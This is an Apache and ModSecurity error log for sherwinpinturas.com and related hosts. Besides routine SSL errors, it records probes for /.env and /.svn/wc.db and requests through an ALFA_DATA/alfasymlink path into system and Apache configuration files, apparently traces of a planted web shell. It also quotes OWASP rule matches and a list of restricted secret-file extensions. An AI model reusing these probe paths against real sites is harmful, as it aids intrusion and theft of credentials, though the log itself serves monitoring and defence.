[Mon Oct 26 07:53:34.146788 2026] [ssl:error] [pid 3024444:tid 3024444] (70014)End of file found: [client 3.218.103.254:7242] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:53:38.130009 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 18.213.102.186:64293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:53:46.129607 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 3.208.146.193:36478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:53:55.332085 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 18.213.240.226:7594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:53:58.138665 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 3.213.106.226:33212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:53:59.668442 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 185.191.171.13:25050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/objs_per_slab
[Mon Oct 26 07:54:02.162532 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 54.87.95.7:35684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:54:04.904778 2026] [core:error] [pid 3015725:tid 3015725] (13)Permission denied: [client 85.208.96.208:20310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/poison
[Mon Oct 26 07:54:10.144641 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 18.213.70.100:10456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:54:14.111077 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 54.157.84.74:14157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:54:22.116443 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 54.166.126.132:44616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:54:29.479693 2026] [core:error] [pid 3015803:tid 3015803] (13)Permission denied: [client 185.191.171.18:41280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/usersize
[Mon Oct 26 07:54:30.236558 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 54.84.147.79:6603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:54:34.253746 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 3.212.219.113:9843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:54:50.188908 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 3.216.227.216:42019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:15.510339 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 85.208.96.204:36318] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:22.153868 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 52.4.229.9:63654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:26.272671 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 34.234.197.175:32180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:30.148268 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 35.173.18.61:60921] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:34.268260 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 34.227.156.153:28269] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/rescan
[Mon Oct 26 07:55:46.214800 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.91.122.193:46080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:50.144391 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 98.82.59.253:23880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:54.149112 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 3.215.59.93:34128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:55:58.206252 2026] [ssl:error] [pid 3024451:tid 3024451] (5)Input/output error: [client 54.167.32.123:43875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:56:02.258217 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 3.89.176.255:37160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:56:14.129247 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.209.201.119:60411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:56:14.361961 2026] [security2:error] [pid 3024451:tid 3024451] [client 130.12.180.163:47584] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at8_3iKpP9Qw_qyzfEDAbQAAABE"]
[Mon Oct 26 07:56:14.362312 2026] [security2:error] [pid 3024451:tid 3024451] [client 130.12.180.163:47584] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at8_3iKpP9Qw_qyzfEDAbQAAABE"]
[Mon Oct 26 07:56:14.362689 2026] [security2:error] [pid 3024451:tid 3024451] [client 130.12.180.163:47584] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at8_3iKpP9Qw_qyzfEDAbQAAABE"]
[Mon Oct 26 07:56:22.233847 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 54.157.84.74:47721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:56:26.148748 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 18.232.36.1:16867] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:56:30.150975 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 3.94.156.104:54063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:56:38.166938 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 107.22.208.39:51354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:56:44.364311 2026] [core:error] [pid 3024451:tid 3024451] (13)Permission denied: [client 185.191.171.16:57822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/aliases
[Mon Oct 26 07:56:49.250947 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 185.191.171.17:13080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:57:22.169914 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 34.231.156.59:15649] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:57:30.152491 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 52.2.83.227:60599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:57:34.132449 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.3.26.180:62822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:57:38.159908 2026] [core:error] [pid 3011079:tid 3011079] (13)Permission denied: [client 34.231.181.240:45754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/subsystem/devices/memory8/subsystem/uevent
[Mon Oct 26 07:57:50.137493 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 3.221.222.168:56994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:57:54.138550 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 52.70.209.13:47309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:57:58.194979 2026] [core:error] [pid 3011079:tid 3011079] (13)Permission denied: [client 34.225.243.131:57206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/resource0
[Mon Oct 26 07:58:02.155353 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 3.221.222.168:5109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:05.666535 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 185.191.171.19:36744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/shrink
[Mon Oct 26 07:58:10.131034 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 44.217.255.167:54395] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:18.461968 2026] [core:error] [pid 3024444:tid 3024444] (13)Permission denied: [client 85.208.96.204:61668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/trace
[Mon Oct 26 07:58:22.132274 2026] [ssl:error] [pid 3024444:tid 3024444] (70014)End of file found: [client 52.204.71.8:35525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:23.169343 2026] [security2:error] [pid 3023393:tid 3023393] [client 16.216.88.175:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/340_mod_proxy_http.conf"] [unique_id "at9AXxuQQn9l7nrKN7L5swAAABo"]
[Mon Oct 26 07:58:23.170029 2026] [security2:error] [pid 3023393:tid 3023393] [client 16.216.88.175:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/340_mod_proxy_http.conf"] [unique_id "at9AXxuQQn9l7nrKN7L5swAAABo"]
[Mon Oct 26 07:58:23.170442 2026] [security2:error] [pid 3023393:tid 3023393] [client 16.216.88.175:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/340_mod_proxy_http.conf"] [unique_id "at9AXxuQQn9l7nrKN7L5swAAABo"]
[Mon Oct 26 07:58:26.153171 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 44.209.35.147:51341] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:34.460986 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 34.233.114.237:7735] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:38.154702 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 44.209.35.147:14228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:42.312657 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 23.21.204.95:63435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:50.375859 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 54.156.124.2:8728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:58:51.988184 2026] [core:error] [pid 3024451:tid 3024451] (13)Permission denied: [client 85.208.96.204:20208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/cpu_partial
[Mon Oct 26 07:59:02.222479 2026] [ssl:error] [pid 3024451:tid 3024451] (70014)End of file found: [client 52.21.62.139:18509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:59:06.740643 2026] [security2:error] [pid 3023345:tid 3023345] [client 107.172.76.131:53590] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9AfU3DiqOFJPXX6P43AwAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 07:59:06.740692 2026] [security2:error] [pid 3023345:tid 3023345] [client 107.172.76.131:53590] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9AfU3DiqOFJPXX6P43AwAAABM"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 07:59:22.352391 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 52.203.237.170:31114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/0000:00:05.0/remove
[Mon Oct 26 07:59:34.228800 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 52.204.253.129:5902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:59:38.270323 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 34.194.95.99:28320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:59:50.559894 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 3.218.35.239:41812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:59:58.506653 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 54.84.169.196:55410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:00:26.997427 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 185.191.171.11:49828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/aliases
[Mon Oct 26 08:00:30.268002 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 34.235.239.240:46517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:00:38.543306 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 18.214.238.178:11803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:00:42.354397 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 44.217.255.167:21891] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory4/node0/compact
[Mon Oct 26 08:00:44.591290 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 185.191.171.8:64570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:00:58.515291 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 23.21.179.120:65509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:01:02.286095 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 3.211.181.86:23927] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:01:12.514567 2026] [security2:error] [pid 3026994:tid 3026994] [client 43.162.114.69:41176] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at9BCC0_YUoaikSO4nloZAAAAAE"]
[Mon Oct 26 08:01:22.396897 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 52.200.93.170:3495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:01:26.445795 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 54.163.136.244:6454] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:01:31.156994 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 34.205.163.103:21065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:01:34.368374 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 54.166.126.132:61205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:01:38.370607 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 3.225.9.97:46731] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:14.385352 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 52.70.123.241:5877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:18.403103 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 100.27.153.9:56417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:26.476036 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 98.84.60.17:28889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:30.434543 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 44.193.102.198:42684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:42.639934 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 54.225.199.17:24716] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:46.492256 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 107.20.224.184:54126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:50.483628 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 44.207.69.106:38894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:54.480064 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 18.208.11.93:62625] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:02:58.661501 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.215.221.125:4316] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:03:02.531414 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 18.235.81.246:60965] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:03:06.672532 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 34.233.219.155:10239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:1e/subsystem/drivers/battery/unbind
[Mon Oct 26 08:03:10.665126 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 34.204.150.196:3864] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:03:14.671024 2026] [core:error] [pid 3024455:tid 3024455] (13)Permission denied: [client 18.213.102.186:6848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/drivers/button/unbind
[Mon Oct 26 08:03:26.492874 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 52.45.92.83:3248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:03:34.780064 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 18.207.89.138:22182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:03:46.331956 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 85.208.96.203:60824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:03:50.791721 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 3.235.215.92:19266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:03:58.540056 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 34.231.45.47:44732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:00.589991 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 185.191.171.10:42570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/objects
[Mon Oct 26 08:04:02.651163 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 52.45.92.83:26860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:14.558782 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 34.233.114.237:38475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:18.539619 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 52.4.213.199:52717] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:26.565505 2026] [security2:error] [pid 3023736:tid 3023736] [client 107.20.25.33:63929] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/link/"] [unique_id "at9ByntuNRyqJbUWH7JvbAAAAAQ"]
[Mon Oct 26 08:04:26.565554 2026] [security2:error] [pid 3023736:tid 3023736] [client 107.20.25.33:63929] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/link/"] [unique_id "at9ByntuNRyqJbUWH7JvbAAAAAQ"]
[Mon Oct 26 08:04:30.760661 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 34.233.114.237:13421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/partial
[Mon Oct 26 08:04:34.662353 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.166.104.83:30654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:38.707577 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 34.199.252.22:51802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:46.620717 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.93.98.99:10222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:54.778150 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 52.202.233.37:11754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:04:58.658615 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 44.207.252.58:39191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:00.370974 2026] [security2:error] [pid 3023736:tid 3023736] [client 193.32.162.76:48268] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7HtuNRyqJbUWH7JvbgAAAAQ"]
[Mon Oct 26 08:05:00.371175 2026] [security2:error] [pid 3023736:tid 3023736] [client 193.32.162.76:48268] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7HtuNRyqJbUWH7JvbgAAAAQ"]
[Mon Oct 26 08:05:00.371397 2026] [security2:error] [pid 3023736:tid 3023736] [client 193.32.162.76:48268] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7HtuNRyqJbUWH7JvbgAAAAQ"]
